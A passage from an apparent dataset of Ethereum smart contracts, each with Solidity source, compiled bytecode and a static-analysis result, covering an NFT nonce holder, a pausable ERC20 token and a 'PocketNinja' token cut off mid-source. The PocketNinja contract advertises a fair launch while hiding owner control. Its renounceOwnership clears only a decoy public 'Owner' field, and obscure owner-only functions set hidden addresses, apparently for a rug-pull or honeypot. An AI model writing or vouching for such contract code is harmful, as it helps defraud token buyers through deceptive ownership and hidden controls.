"Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract OwnableOperatorRole is Ownable, OperatorRole { function addOperator(address account) public onlyOwner { _addOperator(account); } function removeOperator(address account) public onlyOwner { _removeOperator(account); } } contract ERC721SaleNonceHolder is OwnableOperatorRole { mapping(bytes32 => uint256) public nonces; IERC721Sale public previous; constructor(IERC721Sale _previous) public { previous = _previous; } function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256) { uint256 newNonce = nonces[getPositionKey(token, tokenId)]; if (newNonce != 0) { return newNonce; } if (address(previous) == address(0x0)) { return 0; } return previous.getNonce(token, tokenId); } function setNonce(IERC721 token, uint256 tokenId, uint256 nonce) public onlyOperator { nonces[getPositionKey(token, tokenId)] = nonce; } function getPositionKey(IERC721 token, uint256 tokenId) pure public returns (bytes32) { return keccak256(abi.encodePacked(token, tokenId)); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639870d7fe116100715780639870d7fe1461016f5780639e317f1214610195578063ac8a584a146101b2578063dd68c1e2146101d8578063e330a93514610204578063f2fde38b14610236576100b4565b80636d70f7ae146100b9578063715018a6146100f35780637c2b2e71146100fd57806389535803146101215780638da5cb5b1461015f5780638f32d59b14610167575b600080fd5b6100df600480360360208110156100cf57600080fd5b50356001600160a01b031661025c565b604080519115158252519081900360200190f35b6100fb610275565b005b610105610306565b604080516001600160a01b039092168252519081900360200190f35b61014d6004803603604081101561013757600080fd5b506001600160a01b038135169060200135610315565b60408051918252519081900360200190f35b6101056103e8565b6100df6103f7565b6100fb6004803603602081101561018557600080fd5b50356001600160a01b031661041b565b61014d600480360360208110156101ab57600080fd5b503561046e565b6100fb600480360360208110156101c857600080fd5b50356001600160a01b0316610480565b61014d600480360360408110156101ee57600080fd5b506001600160a01b0381351690602001356104d0565b6100fb6004803603606081101561021a57600080fd5b506001600160a01b038135169060208101359060400135610514565b6100fb6004803603602081101561024c57600080fd5b50356001600160a01b0316610584565b600061026f60018363ffffffff6105d416565b92915050565b61027d6103f7565b6102bc576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031681565b6000806002600061032686866104d0565b81526020019081526020016000205490508060001461034657905061026f565b6003546001600160a01b031661036057600091505061026f565b60035460408051638953580360e01b81526001600160a01b03878116600483015260248201879052915191909216916389535803916044808301926020929190829003018186803b1580156103b457600080fd5b505afa1580156103c8573d6000803e3d6000fd5b505050506040513d60208110156103de57600080fd5b5051949350505050565b6000546001600160a01b031690565b600080546001600160a01b031661040c61063b565b6001600160a01b031614905090565b6104236103f7565b610462576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b8161063f565b50565b60026020526000908152604090205481565b6104886103f7565b6104c7576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b81610687565b6040805160609390931b6bffffffffffffffffffffffff19166020808501919091526034808501939093528151808503909301835260549093019052805191012090565b61052461051f61063b565b61025c565b61055f5760405162461bcd60e51b815260040180806020018281038252603481526020018061087e6034913960400191505060405180910390fd5b806002600061056e86866104d0565b8152602081019190915260400160002055505050565b61058c6103f7565b6105cb576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b816106cf565b60006001600160a01b03821661061b5760405162461bcd60e51b81526004018080602001828103825260228152602001806108f36022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61065060018263ffffffff61076f16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61069860018263ffffffff6107f016565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166107145760405162461bcd60e51b81526004018080602001828103825260268152602001806108586026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61077982826105d4565b156107cb576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6107fa82826105d4565b6108355760405162461bcd60e51b81526004018080602001828103825260218152602001806108b26021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204f70657261746f7220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a723158200d6251b855d550481ed2fdb2826f51d9ca27bfbbfe465e030282d4aa81a28a9064736f6c63430005100032
{"success": true, "error": null, "results": {}}
3,108
0x324ddd3145d415c87efea9f2e43eacb63c195764
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Function to revert eth transfers to this contract */ function() public payable { revert(); } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return BasicToken(tokenAddress).transfer(owner, tokens); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Transfer the specified amounts of tokens to the specified addresses. * @dev Be aware that there is no check for duplicate recipients. * * @param _toAddresses Receiver addresses. * @param _amounts Amounts of tokens that will be transferred. */ function multiTransfer(address[] _toAddresses, uint256[] _amounts) public whenNotPaused returns (bool) { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } /** * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender. * @dev Be aware that there is no check for duplicate recipients. * * @param _from The address of the sender * @param _toAddresses The addresses of the recipients (MAX 255) * @param _amounts The amounts of tokens to be transferred */ function multiTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public whenNotPaused returns (bool) { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } } contract PacificGarbagePatch is PausableToken { string public constant name = "Pacific Garbage Patch"; string public constant symbol = "PGP"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f65780631e89d5451461022157806323b872dd146102e25780632ff2e9dc14610367578063313ce567146103925780633f4ba83a146103c35780635c975abb146103da57806370a08231146104095780638456cb59146104605780638da5cb5b1461047757806395d89b41146104ce578063a9059cbb1461055e578063cb31b6cd146105c3578063dc39d06d146106a4578063dd62ed3e14610709578063f2fde38b14610780575b600080fd5b34801561010d57600080fd5b506101166107c3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fc565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b61082c565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b506102c86004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610836565b604051808215151515815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108da565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c61090c565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103a761091d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103cf57600080fd5b506103d8610922565b005b3480156103e657600080fd5b506103ef6109e1565b604051808215151515815260200191505060405180910390f35b34801561041557600080fd5b5061044a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561046c57600080fd5b50610475610a3d565b005b34801561048357600080fd5b5061048c610afd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104da57600080fd5b506104e3610b22565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610523578082015181840152602081019050610508565b50505050905090810190601f1680156105505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056a57600080fd5b506105a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5b565b604051808215151515815260200191505060405180910390f35b3480156105cf57600080fd5b5061068a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610b8b565b604051808215151515815260200191505060405180910390f35b3480156106b057600080fd5b506106ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c31565b604051808215151515815260200191505060405180910390f35b34801561071557600080fd5b5061076a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d95565b6040518082815260200191505060405180910390f35b34801561078c57600080fd5b506107c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1c565b005b6040805190810160405280601581526020017f506163696669632047617262616765205061746368000000000000000000000081525081565b6000600460009054906101000a900460ff1615151561081a57600080fd5b6108248383610e83565b905092915050565b6000600254905090565b600080600460009054906101000a900460ff1615151561085557600080fd5b60ff84511115151561086657600080fd5b8251845114151561087657600080fd5b600090505b83518160ff1610156108d3576108c5848260ff1681518110151561089b57fe5b90602001906020020151848360ff168151811015156108b657fe5b90602001906020020151610b5b565b50808060010191505061087b565b5092915050565b6000600460009054906101000a900460ff161515156108f857600080fd5b610903848484610f75565b90509392505050565b601260ff16600a0a633b9aca000281565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097d57600080fd5b600460009054906101000a900460ff16151561099857600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9857600080fd5b600460009054906101000a900460ff16151515610ab457600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f504750000000000000000000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900460ff16151515610b7957600080fd5b610b838383611334565b905092915050565b600080600460009054906101000a900460ff16151515610baa57600080fd5b60ff845111151515610bbb57600080fd5b82518451141515610bcb57600080fd5b600090505b83518160ff161015610c2957610c1b85858360ff16815181101515610bf157fe5b90602001906020020151858460ff16815181101515610c0c57fe5b906020019060200201516108da565b508080600101915050610bd0565b509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d5257600080fd5b505af1158015610d66573d6000803e3d6000fd5b505050506040513d6020811015610d7c57600080fd5b8101908080519060200190929190505050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7757600080fd5b610e8081611558565b50565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fb257600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561100057600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561108b57600080fd5b6110dd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561137157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113bf57600080fd5b61141182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561159457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561166057fe5b818303905092915050565b6000818301905082811015151561167e57fe5b809050929150505600a165627a7a723058203754e65c164d16907c95152c23d2342ba4f728742fcf5b4d83c686ba6def8bca0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,109
0xa49f00260d8befd33455188bff174a67199f913d
/* ________ ______ _____ _____ _____________ ________________ ___ __ \______________ /________ /_ ___ | / /___ _/__ | / /_____ /__ | __ /_/ / __ \ ___/_ //_/ _ \ __/ __ |/ / __ / __ |/ /___ _ /__ /| | _ ____// /_/ / /__ _ ,< / __/ /_ _ /| / __/ / _ /| / / /_/ / _ ___ | /_/ \____/\___/ /_/|_| \___/\__/ /_/ |_/ /___/ /_/ |_/ \____/ /_/ |_| Pocket Ninja NFT Trading Card Game! $PocketNinja🌀 TG: @pocketninjaofficial 💥Battle it out with your friends! 💥Collect more than 70 unique ninja NFTs to battle with! 💥Fair launch, no dev tokens! 💥Fair trade, no reserve, No buy/sell limts and no transaction fees! 💥All holders of PocketNinja get 1:1 ingame currency to spend at game launch! Game Launches July 25t 2021!!! ~ May the power of busido be with you always ~ */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PocketNinja is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address private public_address; address private caller; uint256 private _totalTokens = 5555555555 * 10**18; string private _name = 'Pocket Ninja Collectible NFT Game | pocketninja.net'; string private _symbol = 'PocketNinja🌀'; uint8 private _decimals = 18; uint256 private rTotal = 777777777 * 10**18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function setreflectrate(uint256 